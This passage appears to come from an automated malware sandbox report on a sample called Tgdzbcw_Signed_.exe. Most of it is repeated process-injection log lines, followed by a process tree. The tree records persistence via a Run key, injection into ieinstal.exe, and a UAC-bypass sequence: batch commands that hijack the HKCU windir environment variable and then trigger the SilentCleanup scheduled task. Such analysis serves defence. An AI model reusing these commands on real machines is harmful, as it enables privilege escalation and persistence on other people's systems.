1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35 PID 1044 wrote to memory of 2396 1044 Tgdzbcw_Signed_.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tgdzbcw_Signed_.exe"C:\Users\Admin\AppData\Local\Temp\Tgdzbcw_Signed_.exe"1⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\SysWOW64\Notepad.exe"C:\Windows\System32\Notepad.exe"2⤵PID:2008
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat3⤵PID:2340
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2372
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:2384
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:2404
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat3⤵PID:2820
-
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵PID:2396
-